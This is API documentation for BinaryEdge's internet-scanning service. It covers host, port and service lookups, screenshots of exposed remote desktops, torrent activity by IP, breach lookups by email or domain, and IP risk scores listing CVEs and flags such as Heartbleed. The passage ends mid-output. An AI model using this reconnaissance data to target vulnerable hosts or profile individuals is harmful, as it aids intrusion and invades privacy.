Skip to content

API V2 Documentation


API V2 - For Free, Starter and Business accounts.

Get Access via https://app.binaryedge.io


Base URL : https://api.binaryedge.io/v2/

Key Header : X-Key

curl 'https://api.binaryedge.io/v2/<endpoint>' -H 'X-Key:API_KEY'

Query

Host

/v2/query/ip/{target}

Details about an Host. List of recent events for the specified host, including details of exposed ports and services.

Note: Querying CIDRs is available for paid subscriptions only. When using CIDR, the number of credits that will be spent correspond to the number of targets that returned results. Example: a request for a /24 (256 targets) in which only 200 targets have results, will decrement 200 credits.

Parameters

  • target: [String] target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v2/query/ip/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
   "total":2,
   "query":"xxx.xxx.xxx.xxx",
   "events":[
      {
         "results":[
            {
               "origin":{
                  "module":"grabber",
                  "port":41574,
                  "ip":"xxx.xxx.xxx.xxx",
                  "type":"service-simple",
                  "ts":1537060019061,
                  "country":"us"
               },
               "result":{
                  "data":{
                     "state":{
                        "state":"open"
                     },
                     "service":{
                        "banner":"HTTP/1.1 400 Bad Request\\r\\nDate: Sun, 16 Sep 2018 01:06:58 GMT\\r\\nContent-Type: text/html\\r\\nContent-Length: 268\\r\\nConnection: close\\r\\nserver: nginx\\r\\n\\r\\n<html>\\r\\n<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>\\r\\n<body bgcolor=\"white\">\\r\\n<center><h1>400 Bad Request</h1></center>\\r\\n<center>The plain HTTP request was sent to HTTPS port</center>\\r\\n<hr><center>openresty</center>\\r\\n</body>\\r\\n</html>\\r\\n",
                        "method":"probe_matching",
                        "cpe":[
                           "cpe:/a:igor_sysoev:nginx"
                        ],
                        "name":"ssl/http",
                        "product":"nginx"
                     }
                  }
               },
               "target":{
                  "protocol":"tcp",
                  "port":443,
                  "ip":"xxx.xxx.xxx.xxx"
               }
            }
         ],
         "port":443
      },
      {
         "results":[
            {
               "origin":{
                  "module":"grabber",
                  "port":54894,
                  "ip":"xxx.xxx.xxx.xxx",
                  "type":"service-simple",
                  "ts":1534658530845,
                  "country":"de"
               },
               "result":{
                  "data":{
                     "state":{
                        "state":"open"
                     },
                     "service":{
                        "banner":"HTTP/1.1 302 Moved Temporarily\\r\\nServer: nginx\\r\\nDate: Sun, 19 Aug 2018 06:02:09 GMT\\r\\nContent-Type: text/html\\r\\nContent-Length: 154\\r\\nConnection: close\\r\\nLocation: http://www.baidu.com/\\r\\n\\r\\n<html>\\r\\n<head><title>302 Found</title></head>\\r\\n<body bgcolor=\"white\">\\r\\n<center><h1>302 Found</h1></center>\\r\\n<hr><center>nginx</center>\\r\\n</body>\\r\\n</html>\\r\\n",
                        "method":"probe_matching",
                        "cpe":[
                           "cpe:/a:igor_sysoev:nginx"
                        ],
                        "name":"http",
                        "product":"nginx"
                     }
                  }
               },
               "target":{
                  "protocol":"tcp",
                  "port":80,
                  "ip":"xxx.xxx.xxx.xxx"
               }
            }
         ],
         "port":80
      }
   ]
}

/v2/query/ip/historical/{target}

Details about an Host, with data up to 6 months.

List of events for the specified host, with events for each time that: - A port was detected open - A service was found running - Other modules were successfully executed

Parameters

  • target: [String] target IP address

Output

curl 'https://api.binaryedge.io/v2/query/ip/historical/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
    "total": 4,
    "query": "xxx.xxx.xxx.xxx",
    "events": [{
        "target": {
            "ip": "xxx.xxx.xxx.xxx",
            "protocol": "tcp",
            "port": 25
        },
        "origin": {
            "type": "port",
            "ts": 1533433200683
        },
        "result": null
    }, {
        "target": {
            "ip": "xxx.xxx.xxx.xxx",
            "protocol": "tcp",
            "port": 25
        },
        "origin": {
            "type": "port",
            "ts": 1530560172852
        },
        "result": null
    }, {
        "target": {
            "ip": "xxx.xxx.xxx.xxx",
            "protocol": "tcp",
            "port": 25
        },
        "origin": {
            "type": "service-simple",
            "ts": 1533438628984
        },
        "result": {
            "data": {
                "state": {
                    "state": "open"
                },
                "service": {
                    "product": "Incapsula CDN httpd",
                    "banner": "HTTP/1.1 503 Service Unavailable\\r\\nContent-Type: text/html\\r\\nCache-Control: no-cache\\r\\nConnection: close\\r\\nContent-Length: 655\\r\\nX-Iinfo: 9-332984787-0 0NNN RT(1533438628522 0) q(0 -1 -1 -1) r(0 -1)\\r\\n\\r\\n<html style=\"height:100%\"><head><META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\"><meta name=\"format-detection\" content=\"telephone=no\"><meta name=\"viewport\" content=\"initial-scale=1.0\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"></head><body style=\"margin:0px;height:100%\"><iframe src=\"/_Incapsula_Resource?CWUDNSAI=5&xinfo=9-332984787-0%200NNN%20RT%281533438628522%200%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-1199990858670542825&edet=9&cinfo=ffffffff\" frameborder=0 width=\"100%\" height=\"100%\" marginheight=\"0px\" marginwidth=\"0px\">Request unsuccessful. Incapsula incident ID: 0-1199990858670542825</iframe></body></html>",
                    "name": "http",
                    "method": "probe_matching"
                }
            }
        }
    }, {
        "target": {
            "ip": "xxx.xxx.xxx.xxx",
            "protocol": "tcp",
            "port": 25
        },
        "origin": {
            "type": "service-simple",
            "ts": 1530601327765
        },
        "result": {
            "data": {
                "state": {
                    "state": "open"
                },
                "service": {
                    "product": "Incapsula CDN httpd",
                    "banner": "HTTP/1.1 503 Service Unavailable\\r\\nContent-Type: text/html\\r\\nCache-Control: no-cache\\r\\nConnection: close\\r\\nContent-Length: 653\\r\\nX-Iinfo: 5-120325528-0 0NNN RT(1530601326800 0) q(0 -1 -1 -1) r(0 -1)\\r\\n\\r\\n<html style=\"height:100%\"><head><META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\"><meta name=\"format-detection\" content=\"telephone=no\"><meta name=\"viewport\" content=\"initial-scale=1.0\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"></head><body style=\"margin:0px;height:100%\"><iframe src=\"/_Incapsula_Resource?CWUDNSAI=5&xinfo=5-120325528-0%200NNN%20RT%281530601326800%200%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-373539121141122165&edet=9&cinfo=ffffffff\" frameborder=0 width=\"100%\" height=\"100%\" marginheight=\"0px\" marginwidth=\"0px\">Request unsuccessful. Incapsula incident ID: 0-373539121141122165</iframe></body></html>",
                    "name": "http",
                    "method": "probe_matching"
                }
            }
        }
    }]
}

/v2/query/search

Events based on a Query. List of recent events for the given query, including details of exposed ports and services. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See Search Parameters for details on what parameters can be used.
  • page: [Int] Optional. Default 1, Maximum: 500 (10,000 results)

Output

curl 'https://api.binaryedge.io/v2/query/search?query=name:ldap%20AND%20ip:xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
    "query":"name:ldap AND ip:xxx.xxx.xxx.xxx",
    "total": 2,
    "page": 1,
    "pagesize": 50,
    "events": [
        {"origin":{"type":"service-simple","module":"grabber","country":"uk","ts":1535985193912,"ip":"xxx.xxx.xxx.xxx","port":48872},"target":{"ip":"xxx.xxx.xxx.xxx","port":389,"protocol":"tcp"},"result":{"data":{"service":{"name":"ldap","method":"table_default"},"state":{"state":"open|filtered"}}}},
        {"origin":{"type":"service-simple","module":"grabber","country":"us","ts":1535985193942,"ip":"xxx.xxx.xxx.xxx","port":38226},"target":{"ip":"xxx.xxx.xxx.xxx","port":389,"protocol":"tcp"},"result":{"data":{"service":{"name":"ldap","method":"table_default"},"state":{"state":"open|filtered"}}}}
    ] 
}

/v2/query/search/stats

Statistics of recent events for the given query. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See Search Parameters for details on what parameters can be used.
  • type: [String] Type of statistic we want to obtain. Possible types include:
    • ports, products, versions, tags, services, countries, asn.

Output

curl 'https://api.binaryedge.io/v2/query/search/stats?query=name:ldap%20AND%20ip:xxx.xxx.xxx.xxx&type:ports' -H 'X-Key:API_KEY'
[
    {
        "key": "80/tcp",
        "doc_count": 4467584
    },
    {
        "key": "22/tcp",
        "doc_count": 4244020
    },
    {
        "key": "53/tcp",
        "doc_count": 3566098
    },
    {
        "key": "443/tcp",
        "doc_count": 3478298
    },
    {
        "key": "21/tcp",
        "doc_count": 2726635
    },
    {
        "key": "3389/tcp",
        "doc_count": 2303493
    },
    {
        "key": "1900/tcp",
        "doc_count": 2172479
    },
    {
        "key": "123/tcp",
        "doc_count": 2111621
    },
    {
        "key": "23/tcp",
        "doc_count": 1988782
    },
    {
        "key": "8000",
        "doc_count": 1931731
    }
]

Image

/v2/query/image/ip/{ip}

Details about Remote Desktops found on an Host. List of screenshots and details extracted from them for the specified host, including OCR and whether faces were found or not, with data up to 2 months.

Parameters

  • target: [String] target IP address
  • page: [Int] Optional. Default 1

Output

curl 'https://api.binaryedge.io/v2/query/image/ip/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
   "pagesize":20,
   "query":"xxx.xxx.xxx.xxx",
   "total":1,
   "page":1,
   "events":[
      {
         "thumb":"https://d3f9qnon04ymh2.cloudfront.net/993cad4bb78fc0fa3e8f5f1d07311af802ea73ac48b6143c6286ae54df.jpg",
         "tags":[
            "vnc"
         ],
         "ts":1536345753000,
         "port":5900,
         "url":"https://d1ngxp4ef6grqi.cloudfront.net/993cad4bb78fc0fa3e8f5f1d07311af802ea73ac48b6143c6286ae54df.jpg",
         "height":800,
         "geoip":{
            "iso_code":"BE",
            "timezone":"Europe/Brussels",
            "latitude":50.85,
            "longitude":4.35,
            "location":[
               4.35,
               50.85
            ],
            "country_name":"Belgium",
            "city_name":null
         },
         "ip":"xxx.xxx.xxx.xxx",
         "country":"BE",
         "as_name":"Proximus NV",
         "asn":5432,
         "width":1280,
         "image_id":"993cad4bb78fc0fa3e8f5f1d07311af802ea73ac48b6143c6286ae54df"
      }
   ]
}

/v2/query/image/search

Remote Desktops based on a Query. List of screenshots and details extracted from them for the given query, including OCR and whether faces were found or not. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire events. See Search Parameters for details on what parameters can be used.
  • page: [Int] Optional. Default 1, Maximum: 500 (10,000 results)

Output

curl 'https://api.binaryedge.io/v2/query/image/search?query=ip:xxx.xxx.xxx.xxx%20AND%20country:BE' -H 'X-Key:API_KEY'
{
   "pagesize":20,
   "query":"ip:xxx.xxx.xxx.xxx AND country:BE",
   "total":1,
   "page":1,
   "events":[
      {
         "thumb":"https://d3f9qnon04ymh2.cloudfront.net/993cad4bb78fc0fa3e8f5f1d07311af802ea73ac48b6143c6286ae54df.jpg",
         "tags":[
            "vnc"
         ],
         "ts":1536345753000,
         "port":5900,
         "url":"https://d1ngxp4ef6grqi.cloudfront.net/993cad4bb78fc0fa3e8f5f1d07311af802ea73ac48b6143c6286ae54df.jpg",
         "height":800,
         "geoip":{
            "iso_code":"BE",
            "timezone":"Europe/Brussels",
            "latitude":50.85,
            "longitude":4.35,
            "location":[
               4.35,
               50.85
            ],
            "country_name":"Belgium",
            "city_name":null
         },
         "ip":"xxx.xxx.xxx.xxx",
         "country":"BE",
         "as_name":"Proximus NV",
         "asn":5432,
         "width":1280,
         "image_id":"993cad4bb78fc0fa3e8f5f1d07311af802ea73ac48b6143c6286ae54df"
      }
   ]
}

/v2/query/image/tags

Get the list of possible tags for the images.

Output

curl 'https://api.binaryedge.io/v2/query/image/tags' -H 'X-Key:API_KEY'
["rdp", "vnc", "has_faces", "x11", "windows", "mobile"]

Torrent

/v2/query/torrent/ip/{target}

Details about torrents transferred by an Host. List of recent torrent events for the specified host, including details of the peer and torrent. See Torrent Data for more details.

Parameters

  • target: [String] target IP address

Output

curl 'https://api.binaryedge.io/v2/query/torrent/ip/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
   "query":"xxx.xxx.xxx.xxx",
   "total":5,
   "events":[
      {
         "origin":{
            "type":"peer",
            "module":"torrent",
            "ts":1539766360923
         },
         "peer":{
            "ip":"xxx.xxx.xxx.xxx",
            "port":29252
         },
         "torrent":{
            "infohash":"0912d200210318a5f65450e63834f4100293ae48",
            "name":"A.Family.for.the.Holidays.2018.BRRip.XviD.AC3-EVO[TGx]",
            "source":"ThePirateBay",
            "category":"Video",
            "subcategory":"Movies"
         }
      },
      {
         "origin":{
            "type":"peer",
            "module":"torrent",
            "ts":1539740702093
         },
         "peer":{
            "ip":"xxx.xxx.xxx.xxx",
            "port":29252
         },
         "torrent":{
            "infohash":"5d917a61489cba4ad346962f352b64b2c652e43b",
            "name":"Big.Hero.6.The.Series.S01E23E24E25.AMZN.WEB-DL.XviD.MP3",
            "source":"ThePirateBay",
            "category":"Video",
            "subcategory":"TV shows"
         }
      },
   ]
}

/v2/query/torrent/historical/{target}

Details about torrents transferred by an Host, with data up to 6 months.

List of torrent events for the specified host, with events for each time that a new transfer was detected on the DHT. See Torrent Data for more details.

Note: Available for paid subscriptions only.

Parameters

  • target: [String] target IP address

Output

curl 'https://api.binaryedge.io/v2/query/torrent/historical/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
   "query":"xxx.xxx.xxx.xxx",
   "total":104,
   "events":[
      {
         "origin":{
            "type":"peer",
            "module":"torrent",
            "ts":1539766360923
         },
         "peer":{
            "ip":"xxx.xxx.xxx.xxx",
            "port":29252
         },
         "torrent":{
            "infohash":"0912d200210318a5f65450e63834f4100293ae48",
            "name":"A.Family.for.the.Holidays.2018.BRRip.XviD.AC3-EVO[TGx]",
            "source":"ThePirateBay",
            "category":"Video",
            "subcategory":"Movies"
         }
      },
      {
         "origin":{
            "type":"peer",
            "module":"torrent",
            "ts":1539766357370
         },
         "peer":{
            "ip":"xxx.xxx.xxx.xxx",
            "port":29252
         },
         "torrent":{
            "infohash":"0912d200210318a5f65450e63834f4100293ae48",
            "name":"A.Family.for.the.Holidays.2018.BRRip.XviD.AC3-EVO[TGx]",
            "source":"ThePirateBay",
            "category":"Video",
            "subcategory":"Movies"
         }
      },
      {
         "origin":{
            "type":"peer",
            "module":"torrent",
            "ts":1539740702093
         },
         "peer":{
            "ip":"xxx.xxx.xxx.xxx",
            "port":29252
         },
         "torrent":{
            "infohash":"5d917a61489cba4ad346962f352b64b2c652e43b",
            "name":"Big.Hero.6.The.Series.S01E23E24E25.AMZN.WEB-DL.XviD.MP3",
            "source":"ThePirateBay",
            "category":"Video",
            "subcategory":"TV shows"
         }
      },
      {
         "origin":{
            "type":"peer",
            "module":"torrent",
            "ts":1539740701112
         },
         "peer":{
            "ip":"xxx.xxx.xxx.xxx",
            "port":29252
         },
         "torrent":{
            "infohash":"5d917a61489cba4ad346962f352b64b2c652e43b",
            "name":"Big.Hero.6.The.Series.S01E23E24E25.AMZN.WEB-DL.XviD.MP3",
            "source":"ThePirateBay",
            "category":"Video",
            "subcategory":"TV shows"
         }
      }
   ]
}

Dataleaks

Allows you to search across multiple data breaches to see if any of your email addresses has been compromised. If you are affected, we recommend you change your password on the respective services.

/v2/query/dataleaks/email/{email}

Verify how many dataleaks affected an specific email address.

Note: Available for paid subscriptions only.

Parameters

  • email: [String] Verify which dataleaks affect the target email.

Output

curl 'https://api.binaryedge.io/v2/query/dataleaks/email/[email protected]' -H 'X-Key:API_KEY'
{
  "total": 18,
  "events": ["antipublic", "ashleymadison", "breachcompilation", "cannabis", "dropbox", "exploitin", "fling", "imesh", "lastfm", "linkedin", "mate1", "neopets", "pastebin", "rsboards", "tianya", "torrentinvites", "tumblr", "vk"],
  "query": "[email protected]"
}

/v2/query/dataleaks/organization/{domain}

Verify how may emails are affected by dataleaks for a specific domain. We don't provide the list of affected emails.

For example, searching for the domain 'example.com' returns {"leak":"linkedin", "count":805}, this means there are 805 accounts with an example.com email on the Linkedin dump.

Note: Available for paid subscriptions only.

Parameters

  • domain: [String] Verify which dataleaks affect the target domain.

Output

curl 'https://api.binaryedge.io/v2/query/dataleaks/organization/example.com' -H 'X-Key:API_KEY'
{
   "total":192656,
   "groups":[
      {"leak":"antipublic", "count":44489},
      {"leak":"exploitin", "count":19995},
      {"leak":"badoo", "count":13028},
      {"leak":"myspace", "count":26266}, 
      {"leak":"vk", "count":2132},
      {"leak":"imesh", "count":7549},
      {"leak":"breachcompilation", "count":58833},
      {"leak":"mate1", "count":2923},
      {"leak":"webhost", "count":152},
      {"leak":"fling", "count":3058},
      {"leak":"adobe", "count":734},
      {"leak":"dropbox", "count":1832},
      {"leak":"zoosk", "count":2506},
      {"leak":"pastebin", "count":2417},
      {"leak":"ashleymadison", "count":963},
      {"leak":"neopets", "count":1772},
      {"leak":"tumblr", "count":789},
      {"leak":"taobao", "count":98},
      {"leak":"xat", "count":774},
      {"leak":"linkedin", "count":805},
      {"leak":"tianya", "count":171},
      {"leak":"youporn", "count":107},
      {"leak":"leet", "count":84},
      {"leak":"lastfm", "count":413},
      {"leak":"modernbusinesssolutions", "count":134},
      {"leak":"7k7k", "count":84},
      {"leak":"myrepospace", "count":11},
      {"leak":"mpgh", "count":62},
      {"leak":"r2games", "count":64},
      {"leak":"patreon", "count":17},
      {"leak":"twitter", "count":66},
      {"leak":"yahoo", "count":2},
      {"leak":"nihonomaru", "count":34},
      {"leak":"gawker", "count":26},
      {"leak":"nulled", "count":10},
      {"leak":"habbo", "count":31},
      {"leak":"abusewithus", "count":23},
      {"leak":"rsboards", "count":14},
      {"leak":"cannabis", "count":25},
      {"leak":"torrentinvites", "count":15},
      {"leak":"dlh", "count":11},
      {"leak":"utorrent", "count":8},
      {"leak":"nextgenupdate", "count":30},
      {"leak":"xsplit", "count":26},
      {"leak":"clixsense", "count":9},
      {"leak":"brazzers", "count":5},
      {"leak":"adultfriendfinder", "count":10},
      {"leak":"majorgeeks", "count":4},
      {"leak":"plex", "count":1},
      {"leak":"thebot", "count":4},
      {"leak":"acne", "count":4},
      {"leak":"cheapassgamer", "count":2},
      {"leak":"ps3hax", "count":6},
      {"leak":"vbulletin", "count":5},
      {"leak":"gta", "count":1},
      {"leak":"latimes", "count":1},
      {"leak":"loungeboard", "count":1},
      {"leak":"crackingforum", "count":3},
      {"leak":"experian", "count":1},
      {"leak":"androidforums", "count":1},
      {"leak":"abandonia", "count":1},
      {"leak":"minefield", "count":1},
      {"leak":"delicioustakoyaki", "count":3},
      {"leak":"hawkingtech", "count":1},
      {"leak":"newseasims", "count":1},
      {"leak":"blackhatworld", "count":3},
      {"leak":"win7vista", "count":1},
      {"leak":"sexavet", "count":1},
      {"leak":"muslimmatch", "count":1},
      {"leak":"forbes", "count":1},
      {"leak":"sktorrent", "count":1}
   ],
   "query":"example.com"
}

/v2/query/dataleaks/info

Get the list of dataleaks our platform keeps track.

Output

curl 'https://api.binaryedge.io/v2/query/dataleaks/info' -H 'X-Key:API_KEY'
{
  "sktorrent": {
    "label": "Downloads",
    "description": "SKTorrent is a torrent tracking site.",
    "techname": "sktorrent",
    "logo": "https://s3-eu-west-1.amazonaws.com/be-resources/dataleaks/sktorrent.png",
    "data": "usernames, email addresses, passwords",
    "year": "2016",
    "name": "sktorrent",
    "fullname": "SKTorrent"
  },
  "samsclub": {
    "label": "Unverified",
    "description": "Sam's Club is an american chain of wholesale clubs owned by Walmart.",
    "techname": "samsclub",
    "logo": "https://s3-eu-west-1.amazonaws.com/be-resources/dataleaks/samsclub.jpg",
    "data": "email addresses",
    "year": "2016",
    "name": "samsclub",
    "fullname": "Sam's Club"
  },
  "yandex": {
    "label": "Technology",
    "description": "Yandex is a technology company that provides the largest search engine in Russia.",
    "techname": "yandex",
    "logo": "https://s3-eu-west-1.amazonaws.com/be-resources/dataleaks/yandex.png",
    "data": "email addresses, passwords",
    "year": "2014",
    "name": "yandex",
    "fullname": "Yandex"
  },
    ...
}

Risk Score

/v2/query/score/ip/{target}

IP Risk Score. Scoring is based on all information found on our databases regarding an IP and refers to the level of exposure of a target, i.e, the higher the score, the greater the risk of exposure.

More details about scoring can be found on https://github.com/binaryedge/ratemyip-openframework/blob/master/ip-score.md.

Note: Available for paid subscriptions only.

Parameters

  • target: [String] target IP address

Output

curl 'https://api.binaryedge.io/v2/query/score/ip/xxx.xxx.xxx.xxx' -H 'X-Key:API_KEY'
{
  "normalized_ip_score": 97.1,
  "normalized_ip_score_detailed": {
    "cve": 100,
    "attack_surface": 100,
    "encryption": 100,
    "rms": 100,
    "storage": 100,
    "web": 100,
    "torrents": 0
  },
  "ip_score_detailed": {
    "cve": 3,
    "attack_surface": 2,
    "encryption": 6,
    "rms": 10,
    "storage": 10,
    "web": 3,
    "torrents": 0
  },
  "results_detailed": {
    "ports": {
      "open": [
        4991,
        6666,
        22,
        443,
        3389,
        5901,
        23,
        80,
        1883,
        27017,
        6379,
        11211,
        9200,
        21,
        8080,
        25,
        3306
      ],
      "score": 17
    },
    "cve": {
      "result": [
        {
          "port": 4991,
          "cve": [
            {
              "cpe": "cpe:/a:igor_sysoev:nginx:1.2.6",
              "cve_list": [
                {
                  "cve": "CVE-2013-2070",
                  "cvss": 5.8
                },
                {
                  "cve": "CVE-2013-4547",
                  "cvss": 7.5
                },
                {
                  "cve": "CVE-2014-3616",
                  "cvss": 4.3
                },
                {
                  "cve": "CVE-2016-1247",
                  "cvss": 7.2
                },
                {
                  "cve": "CVE-2016-0742",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2016-0746",
                  "cvss": 7.5
                },
                {
                  "cve": "CVE-2016-0747",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2016-4450",
                  "cvss": 5
                }
              ],
              "score": 47.3
            }
          ],
          "score": 47.3
        },
        {
          "port": 6666,
          "cve": {
            "product": "Postgres-XC",
            "version": "1.1",
            "cve_list": [],
            "score": 0
          },
          "score": 0
        },
        {
          "port": 6666,
          "cve": [
            {
              "cpe": "cpe:/a:mysql:mysql:5.5.18.1",
              "cve_list": [
                {
                  "cve": "CVE-2005-1274",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2005-0081",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2005-0082",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2005-0684",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2012-2750",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2012-4414",
                  "cvss": 6.5
                },
                {
                  "cve": "CVE-2011-2262",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2012-0112",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2012-0113",
                  "cvss": 5.5
                },
                {
                  "cve": "CVE-2012-0115",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0116",
                  "cvss": 4.9
                },
                {
                  "cve": "CVE-2012-0117",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2012-0118",
                  "cvss": 4.9
                },
                {
                  "cve": "CVE-2012-0119",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0120",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0553",
                  "cvss": 7.5
                },
                {
                  "cve": "CVE-2012-2102",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2012-2122",
                  "cvss": 5.1
                },
                {
                  "cve": "CVE-2012-2749",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2013-1492",
                  "cvss": 7.5
                },
                {
                  "cve": "CVE-2015-3152",
                  "cvss": 4.3
                },
                {
                  "cve": "CVE-2016-0610",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2016-0616",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2013-5807",
                  "cvss": 4.9
                },
                {
                  "cve": "CVE-2016-6664",
                  "cvss": 6.9
                },
                {
                  "cve": "CVE-2004-0931",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2017-3302",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2016-7412",
                  "cvss": 6.8
                },
                {
                  "cve": "CVE-2012-5627",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2014-0001",
                  "cvss": 7.5
                },
                {
                  "cve": "CVE-2016-6662",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2009-4833",
                  "cvss": 5.8
                },
                {
                  "cve": "CVE-2012-0485",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0486",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2012-0487",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0488",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0489",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0491",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0492",
                  "cvss": 2.1
                },
                {
                  "cve": "CVE-2012-0493",
                  "cvss": 2.1
                },
                {
                  "cve": "CVE-2012-0494",
                  "cvss": 1.7
                },
                {
                  "cve": "CVE-2012-0495",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0496",
                  "cvss": 4.3
                },
                {
                  "cve": "CVE-2012-5611",
                  "cvss": 6.5
                },
                {
                  "cve": "CVE-2012-5612",
                  "cvss": 6.5
                },
                {
                  "cve": "CVE-2016-6663",
                  "cvss": 4.4
                },
                {
                  "cve": "CVE-2005-1636",
                  "cvss": 4.6
                }
              ],
              "score": 242.3
            }
          ],
          "score": 242.3
        },
        {
          "port": 8080,
          "cve": [
            {
              "cpe": "cpe:/a:indy:httpd:13.2.3.2235",
              "cve_list": [],
              "score": 0
            }
          ],
          "score": 0
        },
        {
          "port": 25,
          "cve": {
            "cpe": [
              "cpe:/a:postfix:postfix"
            ],
            "cve_list": "no_version_provided",
            "score": 0
          },
          "score": 0
        },
        {
          "port": 3306,
          "cve": [
            {
              "cpe": "cpe:/a:mysql:mysql:5.5.47-mariadb",
              "cve_list": [
                {
                  "cve": "CVE-2005-1274",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2005-0081",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2005-0082",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2005-0684",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2011-2262",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2012-0112",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2012-0113",
                  "cvss": 5.5
                },
                {
                  "cve": "CVE-2012-0115",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0116",
                  "cvss": 4.9
                },
                {
                  "cve": "CVE-2012-0117",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2012-0118",
                  "cvss": 4.9
                },
                {
                  "cve": "CVE-2012-0119",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0120",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2015-3152",
                  "cvss": 4.3
                },
                {
                  "cve": "CVE-2016-0610",
                  "cvss": 3.5
                },
                {
                  "cve": "CVE-2016-6664",
                  "cvss": 6.9
                },
                {
                  "cve": "CVE-2004-0931",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2017-3302",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2016-7412",
                  "cvss": 6.8
                },
                {
                  "cve": "CVE-2016-6662",
                  "cvss": 10
                },
                {
                  "cve": "CVE-2009-4833",
                  "cvss": 5.8
                },
                {
                  "cve": "CVE-2012-0485",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0486",
                  "cvss": 5
                },
                {
                  "cve": "CVE-2012-0487",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0488",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0489",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0491",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0492",
                  "cvss": 2.1
                },
                {
                  "cve": "CVE-2012-0493",
                  "cvss": 2.1
                },
                {
                  "cve": "CVE-2012-0494",
                  "cvss": 1.7
                },
                {
                  "cve": "CVE-2012-0495",
                  "cvss": 4
                },
                {
                  "cve": "CVE-2012-0496",
                  "cvss": 4.3
                },
                {
                  "cve": "CVE-2016-6663",
                  "cvss": 4.4
                },
                {
                  "cve": "CVE-2005-1636",
                  "cvss": 4.6
                }
              ],
              "score": 164.8
            }
          ],
          "score": 164.8
        }
      ],
      "score": 454.40000000000003
    },
    "ssh": {
      "result": [
        {
          "port": 22,
          "algorithms": {
            "mac": [
              {
                "mac": "hmac-sha1-96",
                "score": 2
              },
              {
                "mac": "hmac-sha1",
                "score": 2
              },
              {
                "mac": "hmac-md5",
                "score": 2
              }
            ],
            "key_exchange": [
              {
                "kex": "diffie-hellman-group1-sha1",
                "score": 2
              }
            ],
            "encryption": [
              {
                "enc": "aes128-cbc",
                "score": 0
              },
              {
                "enc": "3des-cbc",
                "score": 2
              },
              {
                "enc": "aes256-cbc",
                "score": 0
              }
            ]
          },
          "keys": [
            {
              "fingerprint": "b7:d7:10:fd:b8:fb:91:2b:5e:a8:01:b2:03:e3:10:4f",
              "key_length": {
                "length": 1024,
                "score": 2
              },
              "debian_key": {
                "found": false,
                "score": 0
              }
            }
          ],
          "score": 12
        }
      ],
      "score": 12
    },
    "rms": {
      "result": [
        {
          "port": 3389,
          "rms": "rdp",
          "score": 8
        },
        {
          "port": 5901,
          "rms": "vnc",
          "score": 10
        },
        {
          "port": 23,
          "rms": "telnet",
          "score": 8
        }
      ],
      "score": 26
    },
    "ssl": {
      "result": [
        {
          "port": 443,
          "heartbleed": {
            "heartbleed": true,
            "score": 10
          },
          "ccs": {
            "ccs": true,
            "score": 6
          },
          "crime": {
            "crime": true,
            "score": 6
          },
          "renegotiation": {
            "renegotiation": true,
            "score": 6
          },
          "ocsp": {
            "ocsp": true,
            "score": 3
          },
          "no_certificates": {
            "no_certificates": false,
            "score": 0
          },
